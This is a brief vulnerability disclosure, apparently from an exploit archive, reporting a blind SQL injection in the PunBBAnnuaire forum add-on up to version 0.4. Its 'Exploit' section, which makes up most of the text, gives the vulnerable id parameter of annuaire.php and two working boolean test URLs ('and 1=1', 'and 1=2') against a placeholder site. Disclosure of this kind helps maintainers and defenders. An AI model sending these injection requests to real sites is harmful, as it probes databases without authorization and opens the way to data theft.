PunBBAnnuaire <= 0.4 - Blind SQL Injection Vulnerability

PunBBAnnuaire &#60;=0.4 Blind SQL Injection Vulnerability ======================================================== #################################################################### .:. Author : Metropolis .:. Home : http://xrayoptics.by.ru/ .:. Script : PunBBAnnuaire .:. Version : 0.4 .:. Download Script: http://www.punres.org/download.php?id=1737 .:. Bug Type : Blind Sql Injection #################################################################### ===[ Exploit ]=== /annuaire.php?action=site&id=1[ Blind SQL INJECTION ] www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 &#60;-- true www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 &#60;-- false #################################################################### Vive la France !